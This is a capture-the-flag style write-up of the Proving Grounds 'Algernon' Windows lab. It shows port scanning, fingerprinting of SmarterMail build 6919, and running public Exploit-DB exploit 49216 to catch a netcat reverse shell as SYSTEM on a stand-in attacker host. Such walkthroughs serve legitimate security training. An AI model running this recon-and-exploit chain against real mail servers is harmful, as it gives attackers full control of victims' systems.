# Algernon Writeup - Proving Grounds

> Easy Windows box where SmarterMail build 6919 on a non-standard port is hit directly with a public remote code execution exploit for an immediate SYSTEM shell, with no further privilege escalation required.

- **URL:** https://hackindex.io/writeups/algernon
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Windows
- **Tags:** rce, webmail, smartermail
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 2 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Algernon runs SmarterMail build 6919 on a non-standard port. A public remote code execution exploit for the mail server gives a direct SYSTEM shell, with no further privilege escalation required.

## Reconnaissance

### Nmap

Scan all TCP ports.

```bash
sudo nmap -p- $TARGET_IP
# PORT      STATE SERVICE
# 21/tcp    open  ftp
# 80/tcp    open  http
# 135/tcp   open  msrpc
# 139/tcp   open  netbios-ssn
# 445/tcp   open  microsoft-ds
# 5040/tcp  open  unknown
# 9998/tcp  open  distinct32
# 17001/tcp open  unknown
```

Port `9998` stands out among the usual Windows ports. Scan it aggressively.

```bash
sudo nmap -A -p 9998 $TARGET_IP
# PORT     STATE SERVICE VERSION
# 9998/tcp open  http    Microsoft IIS httpd 10.0
# |_http-server-header: Microsoft-IIS/10.0
# | http-title: Site doesn't have a title (text/html; charset=utf-8).
# |_Requested resource was /interface/root
```

IIS 10.0 serves the application on that port. Browse to it directly.

### Fingerprinting the application

Request the root page.

```bash
curl -L http://$TARGET_IP:9998
# <!DOCTYPE html>
# <snip>
# var cssVersion = "100.0.6919.30414.8d65fc3f1d47d00";
# var stProductVersion = "100.0.6919";
# var stProductBuild = "6919 (Dec 11, 2018)";
```

The target runs **SmarterMail build 6919**. Search Exploit-DB for a matching remote code execution exploit.

## Exploitation

### SmarterMail remote code execution

Exploit-DB has a remote code execution exploit written for an older SmarterMail build. The version differs, but it is worth attempting against this target anyway. Download the exploit, set the `HOST` and `LHOST` variables, and point `LPORT` at a listener.

```bash
nc -lvnp $ATTACKER_PORT
```

With the listener ready, run the exploit against the target.

```bash
python3 49216.py
```

The listener catches the callback.

```bash
nc -lvnp $ATTACKER_PORT
# listening on [any] $ATTACKER_PORT ...
# connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 49852
# whoami
# nt authority\system
# PS C:\Windows\system32>
```

The exploit lands directly as `nt authority\system`, so no further privilege escalation is needed.

Related

## References

- [Exploit-DB 49216](https://www.exploit-db.com/exploits/49216) - Remote code execution exploit for an older SmarterMail build, used here against build 6919.